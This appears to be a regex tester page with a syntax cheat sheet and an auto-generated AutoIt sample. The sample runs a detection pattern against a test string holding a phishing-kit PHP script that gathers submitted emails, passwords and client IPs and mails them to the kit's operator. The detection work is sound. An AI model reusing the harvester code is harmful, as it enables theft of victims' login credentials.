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  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
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#include <StringConstants.au3> ; to declare the Constants of StringRegExp #include <Array.au3> ; UDF needed for _ArrayDisplay and _ArrayConcatenate Local $sRegex = "(?is)^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*\$ip\s*=\s*getenv\(['"]REMOTE_ADDR["']\);(\s*\$\w+\s*\.=\s*).{0,90}?\$_POST\[["']up_email["']\]\."\\n";\s*\1['"]\s*Password.{0,50}?\1['"]confirm\s*password.{0,90}?\1['"]\-+created\s*by\s*burhan\-+\\n["'];\s*include\s*["']email\.php.{0,50}?mail\([^;]+;\s*header\s*\(['"]location:\s*\w+.php\?email=\$email(?:[^>]+>\s*)?$" Local $sString = "<?" & @CRLF & _ " " & @CRLF & _ "" & @CRLF & _ " " & @CRLF & _ "" & @CRLF & _ " " & @CRLF & _ "$ip = getenv("REMOTE_ADDR");" & @CRLF & _ "$message .= "--------------New Login--------\n";" & @CRLF & _ "$message .= "Email-ID : ".$_POST['up_email']."\n";" & @CRLF & _ "$message .= " Password : ".$_POST['up__X_PASSWORD']."\n";" & @CRLF & _ "$message .= "confirm password : ".$_POST['Password']."\n";" & @CRLF & _ "$message .= "Client IP : ".$ip."\n";" & @CRLF & _ "$message .= "---------------Created BY Burhan-----------\n";" & @CRLF & _ "include 'email.php';" & @CRLF & _ "$subject = "--New Log $ip ";" & @CRLF & _ "" & @CRLF & _ "" & @CRLF & _ "mail($to,$subject,$message,$headers);" & @CRLF & _ "" & @CRLF & _ "" & @CRLF & _ "" & @CRLF & _ "header ("Location: incorrect.php?email=$email".$_POST['up_email']);" & @CRLF & _ " " & @CRLF & _ "?>" Local $aArray = StringRegExp($sString, $sRegex, $STR_REGEXPARRAYGLOBALFULLMATCH) Local $aFullArray[0] For $i = 0 To UBound($aArray) -1 _ArrayConcatenate($aFullArray, $aArray[$i]) Next $aArray = $aFullArray ; Present the entire match result _ArrayDisplay($aArray, "Result")

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for AutoIt, please visit: https://www.autoitscript.com/autoit3/docs/functions/StringRegExp.htm